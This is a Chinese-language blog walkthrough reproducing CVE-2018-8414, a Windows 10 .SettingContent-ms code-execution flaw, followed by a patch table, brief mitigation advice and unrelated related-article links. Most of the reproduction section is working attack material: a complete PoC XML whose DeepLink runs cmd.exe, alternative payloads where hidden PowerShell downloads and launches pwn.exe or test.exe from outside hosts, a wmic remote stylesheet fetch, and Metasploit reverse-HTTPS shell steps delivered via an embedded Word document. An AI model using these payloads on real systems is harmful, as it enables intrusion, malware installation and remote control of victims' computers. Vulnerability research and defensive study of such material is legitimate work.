0x00   SettingContent-ms文件介绍

.SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设置页面的快捷方式.Windows 10下行.SettingContent-ms后缀的文件,系统并未判断该类文件所在的路径是否在控制面板相关目录下,便直接执行了文件中用于控制面板设置相关的深层链接标签指定的任意程序,导致用户执行系统任意目录下的此类文件或者从网络上下载的经过精心设计的.SettingContent-ms文件也会直接执行其中指定的恶意程序对象,导致任意代码执行.

文件包含一个<DeepLink>标记,它带有带参数的任何二进制文件并执行它。这可能会导致问题,因为攻击者可以使用指向二进制文件(如cmd.exe或PowerShell.exe)的DeepLink元素创建.SettingContent-ms文件,该文件为其提供shell命令执行。

0x01 Windows Defender AV ASR Rules

Windows Defender AV ASR Rules主要是为了解决防止漏洞利用恶意软件感染计算机和应用程序,它是在Windows 10, version 1709 and later和Windows Server 2016中引入的,所有说之前的Windows Defender版本是没有ASR Rules的。

从以下版本开始:Windows 10版本1703到1803 和Windows Server版本1709到1803如下图显示是Windows Defender AV ASR Rules自带了AttackSurfaceReductionRules_Ids功能规则。

而在低于该版本的10240中,Windows Defender AV ASR Rules是没有带AttackSurfaceReductionRules_Ids

注意:某些时候漏洞利用失败取决于文件位置(默认策略设置),因此只需要将POC文件复制到如下目录下就可以执行。(如果改变默认路径可以通过下载https://github.com/joesecurity/scmwrap/blob/master/scmwrap.exe通过管理员权限下去命令执行 scmwrap.exe  -install)

C:\Users\[USER]\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\[LANGUAGE]\

0x02 漏洞复现

1.简单的测试弹出计算器

1.将测试poc文件放入以下目录位置:

C:\Users\admin(用户)

\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\zh-CN\目录下

2.    点击测试POC文件:

<?xml version="1.0" encoding="UTF-8"?>

<PCSettings>

  <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">

    <ApplicationInformation>

<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>

      <DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink>

<Icon>%windir%\system32\control.exe</Icon>

    </ApplicationInformation>

    <SettingIdentity>

      <PageID></PageID>

<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>

    </SettingIdentity>

    <SettingInformation>

<Description>@shell32.dll,-</Description>

      <Keywords>@shell32.dll,-</Keywords>

    </SettingInformation>

  </SearchableContent>

</PCSettings>

其他<DeepLink>…</DeepLink>可替换POC:

.  %windir%\system32\cmd.exe /c "C:\Program Files\Internet Explorer\iexplore.exe" -k https://www.backlion.org/
.   %SystemRoot%\System32\WindowsPowerShell\v1.\powershell.exe -wind hidden -noni -nop -nologo -Comm "(New-Object System.Net.WebClient).DownloadFile('http://192.168.225.129/pwn.exe', $Env:AppData+'\svrcheck.exe'); Start-Process $Env:AppData'\svrcheck.exe'; Exit-PSSession;"
.  powershell-windowstyle  hiddle  (New-ObjectSystem.Net.WebClient)DownloadFile('https://www.xxx.com/test.exe',%APPDATA%\Rundll32.exe');Start-Process '%APPDATA%\Rundll32.exe'
.  wmic os get /format:"https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/78065ca63504c9a0f41107137fbe861de487e4d4/minimalist"

3.    点击test. settingcontent-MS,即可弹出calc

2.嵌入到office中弹出计算器

1.创建一个word,这里我就拿offcie 2007来当例子

2.点插入-对象-选择由文件创建

4.     双击图标后即可打开即可弹出计算器、

3.kali下反弹shell

利用脚本下载地址:

https://raw.githubusercontent.com/backlion/demo/master/auto_settingcontent-ms.py

1.在KALI下执行脚本auto_settingcontent-ms.py,并填上监听IP地址(KALI本机主机IP)和端口

root@kali2018:/opt# python auto_settingcontent-ms.py

2.会在当前目录下生成一个Test.SettingContent-ms以及将生成的LICENSE.txt自动拷贝到/var/www/html目录下。

5.开启apache服务。

root@kali2018:/opt# service apache2 start

6.启动msf,然后进行设置IP地址和监听端口以及payload

msf > use exploit/multi/handler

msf exploit(multi/handler) > set payload    windows/meterpreter/reverse_https

msf exploit(multi/handler) > show options

msf exploit(multi/handler) > set lhost     10.250.117.10

msf exploit(multi/handler) > set lport     

msf exploit(multi/handler) > exploit

7.将生成的Test.SettingContent-ms拷贝出来,然后新建一个test.doc文档,通过插入数据

8.然后点击保持test.docx,并打开该文档点击图标即可反弹。

9.可以看到kali下反弹目标系统shell.

0x03  漏洞影响版本

适用于32位系统的Windows 10版本1703

 

4343885

安全更新

远程执行代码

重要

4338826

适用于基于x64的系统的Windows 10版本1703

 

4343885

安全更新

远程执行代码

重要

4338826

适用于32位系统的Windows 10版本1709

 

4343897

安全更新

远程执行代码

重要

4338825

适用于64位系统的Windows 10版本1709

 

4343897

安全更新

远程执行代码

重要

4338825

用于32位系统的Windows 10版本1803

 

4343909

安全更新

远程执行代码

重要

4338819

适用于基于x64的系统的Windows 10版本1803

 

4343909

安全更新

远程执行代码

重要

4338819

Windows Server,版本1709(服务器核心安装)

 

4343897

安全更新

远程执行代码

重要

4338825

Windows Server,版本1803(服务器核心安装)

 

4343909

安全更新

远程执行代码

重要

4338819

0x04 漏洞防御建议

最好在防火墙和/或电子邮件网关阻止.SettingContent-ms文件通过执行。此外,可能还需要考虑使用组策略强制.SettingContent-ms禁止在记事本中打开(https://montour.co/2016/09/group-policy-force-js-files/)。

0x05  参考链接

https://www.t00ls.net/thread-47622-1-1.html

https://hk.saowen.com/a/18ea08a24efd7d58c9d24ce69cad41aac8e1535026d266a3e6ced826d777a341

https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

https://github.com/joesecurity/scmwrap

https://github.com/SScyber0/Deeplink_Reverse_TCP

 
 
 
 

Windows Shell远程执行代码漏洞((CVE-2018-8414)复现的更多相关文章

  1. HTTP.SYS远程执行代码漏洞分析 (MS15-034 )

    写在前言:   在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.S ...

  2. HTTP.sys远程执行代码漏洞

    远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞. http://bbs.safedog.cn/thre ...

  3. CVE-2013-1347Microsoft Internet Explorer 8 远程执行代码漏洞

    [CNNVD]Microsoft Internet Explorer 8 远程执行代码漏洞(CNNVD-201305-092) Microsoft Internet Explorer是美国微软(Mic ...

  4. HTTP.SYS 远程执行代码漏洞分析(MS15-034 )

    在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.Server软件. ...

  5. 【研究】CVE-2015-1635-HTTP.SYS远程执行代码漏洞(ms15-034)

    1.1.1  漏洞描述 在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 ).利用HTTP. ...

  6. IIS_CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现

    CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现 一.漏洞描述 远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HT ...

  7. CVE-2019-0708远程桌面服务远程执行代码漏洞exp利用过程

    CVE-2019-0708远程桌面服务远程执行代码漏洞 上边这洞是啥我就不多说了,描述类的自行百度. 受影响系统版本范围: Windows Server 2008 R2 Windows Server ...

  8. Microsoft .NET Framework 远程执行代码漏洞

    受影响系统:Microsoft .NET Framework 4.8Microsoft .NET Framework 4.7.2Microsoft .NET Framework 4.7.1Micros ...

  9. HTTP.sys远程执行代码漏洞检测

    1.漏洞描述:HTTP 协议栈 (HTTP.sys) 中存在一个远程执行代码漏洞,这是 HTTP.sys 不正确地分析特制 HTTP 请求时导致的.成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任 ...

随机推荐

  1. Python中的装饰器的初步理解

    什么是装饰器? 装饰器的本质是一个函数,其作用是用来装饰其他的函数,给其他函数附加行的功能. 原则: 1.不能修改被装饰函数的源码. 2.不能改变被装饰函数的调用方式. 那么什么是函数? 简单的来说: ...

  2. SQL Operations Studio的安装和使用

    之前管理和访问SQL SERVER使用的自然是SSMS,功能确实很强大的一个数据库图形化管理软件,但是SSMS有个问题就是体积超级大,启动速度也就比较慢.今天我正好要学习一些T-SQL的内容,在微软的 ...

  3. 大牛都是这样写测试用例的,你get到了嘛?

    1. 用于语句覆盖的基路径法 基路径法保证设计出的测试用例,使程序的每一个可执行语句至少执行一次,即实现语句覆盖.基路径法是理论与应用脱节的典型,基本上没有应用价值,读者稍作了解即可,不必理解和掌握. ...

  4. Cocos2dx源码赏析(4)之Action动作

    Cocos2dx源码赏析(4)之Action动作 本篇,依然是通过阅读源码的方式来简单赏析下Cocos2dx中Action动画的执行过程.当然,这里也只是通过这种方式来总结下对Cocos2dx引擎的理 ...

  5. Windows 本地文件搜索神器

    Wox: Windows 本地文件搜索神器 下载地址: https://github.com/Wox-launcher/Wox 注: Wox只能搜索C盘下的文件,所以需要结合everything 如果 ...

  6. Python脚本文件(.py)打包为可执行文件(.exe)即避免命令行中包含Python解释器

      在最近的软件工程作业中用到了将Python脚本转化为exe文件这一过程,网上各种博客介绍了很多,有些东西都不完全,我也是综合了很多种方法最后才实现的,我就把这些整理出来,希望可以帮到大家~ 一.环 ...

  7. 【探路者】Beta发布用户使用报告

    用户数量:18 一.用户列表及评论.  用户序号 用户来源 用户下载软件途径 用户姓名 用户描述(信息) 使用次数 用户评价 1  张恩聚  QQ发送可运行jar包  周楠  吉林大学在读研究生  5 ...

  8. lintcode-513-完美平方

    513-完美平方 给一个正整数 n, 找到若干个完全平方数(比如1, 4, 9, ... )使得他们的和等于 n.你需要让平方数的个数最少. 样例 给出 n = 12, 返回 3 因为 12 = 4 ...

  9. bootstrap使用总结

    bootstrap是一个webcss框架,集合了html/css/jquery为一家,创建响应式的页面.所谓的响应式就是适配不同的上网设备. 使用bootstrap的步骤: 1.下载bootstrap ...

  10. redux相关专业名词及函数提要

    redux: 用来管理react app 状态(state)的一个架构. store: 通过createStore()创建,用来存放state,与react app是完全分离的.createStore ...